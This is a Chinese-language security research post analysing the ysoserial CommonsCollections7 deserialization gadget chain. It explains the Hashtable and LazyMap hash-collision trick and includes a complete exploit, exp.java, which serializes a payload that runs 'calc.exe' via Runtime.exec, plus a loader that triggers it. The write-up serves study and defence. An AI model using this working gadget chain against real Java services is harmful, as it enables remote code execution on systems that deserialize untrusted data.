java反序列化-ysoserial-調試分析總結篇(7)

前言：

CommonsCollections7外層也是一條新的構造鏈，外層由hashtable的readObject進入，這條構造鏈挺有意思，因為用到了hash碰撞

yso構造分析：

首先構造進行rce所需要的轉換鏈，這里也用的是chianed里面套Constantrans+invoketrans的方法

接着構造兩個hashmap，通過lazymap的decorate用chained進行裝飾后放進hashTable，這兩個lazymap放進去的值也比較有講究，要求計算出來的lazymap的hash相同

因為這里hashtable放進第二個lazymap時，因為兩個lazymap的hash相同，所以將把第一個lazymap的key值yy放到第二個lazymap中(首先lazymap.get(‘yy’)嘗試從第二個lazymap中拿)，此時將導致lazymap2中新添加yy->processImpl鍵值對

為了讓后面調用鏈時發生hash碰撞，所以這里要移除該鍵值對，為什么移除在后面調用鏈進行一個解釋

 

調用鏈分析：

首先反序列化讀出key和value，此時讀出的key為lazymap，將重新裝進hashtable中，這里調用reconstitutionPut，將會對key算一個hash和一個table的索引值，此時要判斷是否該索引值處是否已經有元素，此時要判斷已經放進的第一個lazymap的hash和當前key的hash是否相同，那么此時取出來的entry的key即為第一個lazymap，兩個hash值是相同的，即

e.hash==hash,所以進入第二個判斷兩個lazymap是否完全相同

此時將調用AbstractMap的equals方法，入口參數值即為要放入的lazymap

 

 此時將首先判斷一下兩個lazymap的大小一樣不一樣，因為之前構造payload的時候已經移除了第二個lazymap中yy->yy鍵值對，因此此時兩個lazymap的空間大小一致都為1

此時遍歷該map，首先將取出第一個lazymap中key和value為yy->1,如果value為null，則如果從第二個lazymap中取出該key的value不為null並且第二個lazymap包含該key，則判斷兩個lazymap不一樣，但是這里value不為null，因此進入else判斷，即判斷兩個lazymap的value是否相同，此時調用第二個lazymap的get函數，key即為yy

 那么調用了lazymap.get，就又回到了我們之前的套路了，調用this.factory.transform

此時接着就是調用chainedtransformer的transform進行rce了

 

手動exp構造：

exp.java

package CommonsCollections7;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class exp {
    public static void main(String[] args) throws IOException {
        Transformer[] trans = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class,Object[].class},
                        new Object[]{null,null}
                        ),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"calc.exe"})
        };

        ChainedTransformer chain = new ChainedTransformer(trans);

        //構造兩個hash值相同的lazymap
        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();
        
        Map lazyMap1 = LazyMap.decorate(innerMap1,chain);
        lazyMap1.put("yy",1);
        Map lazyMap2 = LazyMap.decorate(innerMap2, chain);
        lazyMap2.put("zZ",1);

        Hashtable hashTable = new Hashtable();
        hashTable.put(lazyMap1,1);
        hashTable.put(lazyMap2,2);

        lazyMap2.remove("yy");

        //序列化
        File file;
        file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections7.ser");
        ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream(file));
        obj.writeObject(hashTable);

    }
}

readObj.java

package CommonsCollections7;

import java.io.*;

public class readObj {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        File file;
        file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections7.ser");
        ObjectInputStream obj = new ObjectInputStream(new FileInputStream(file));
        obj.readObject();
    }
}